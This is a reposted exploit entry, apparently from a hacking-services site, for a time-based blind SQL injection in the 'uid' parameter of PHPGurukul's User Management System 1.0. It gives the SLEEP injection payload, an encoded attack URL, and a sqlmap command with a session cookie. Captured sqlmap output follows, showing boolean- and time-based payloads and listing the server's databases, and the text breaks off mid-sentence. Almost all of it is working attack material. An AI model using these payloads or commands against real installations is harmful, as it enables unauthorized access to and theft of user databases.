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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: User Management System 1.0 - 'uid' SQL Injection
# Google Dork: N/A
# Date: 29/1/2021
# Exploit Author: Zeyad Azima
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-management-system-in-php-using-stored-procedure/
# Version: V1
# Tested on: Windows

# Identify the vulnerability

1- go to http://localhost/admin/ and login with your account

2- then go to http://localhost/admin/registered-users.php

3- Click edit on any user and then add the following payload to the url

payload: AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)
url: http://localhost/ums-sp/admin/edit-user-profile.php?uid=3%20AND%20(SELECT%205008%20FROM%20(SELECT(SLEEP(5)))zVHT)

If the web server makes you wait 5 seconds then it's vulnerable


# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --cookies="cookies here" --dbs

example: sqlmap -u http://localhost/admin/edit-user-profile.php?uid=3
--cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 22:55:16 /2021-01-29/

[22:55:16] [INFO] resuming back-end DBMS 'mysql'
[22:55:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: uid=(SELECT (CASE WHEN (7929=7929) THEN 3 ELSE (SELECT
1849 UNION SELECT 3460) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=3 AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)
---
[22:55:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.10
back-end DBMS: MySQL >= 5.0.12
[22:55:16] [INFO] fetching database names
[22:55:16] [INFO] fetching number of databases
[22:55:16] [INFO] resumed: 6
[22:55:16] [INFO] resumed: mysql
[22:55:16] [INFO] resumed: information_schema
[22:55:16] [INFO] resumed: performance_schema
[22:55:16] [INFO] resumed: sys
[22:55:16] [INFO] resumed: umspsdb
[22:55:16] [INFO] resumed: zmsdb
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] umspsdb
[*] zmsdb

[22:55:16] [INFO] fetched data logged to text files under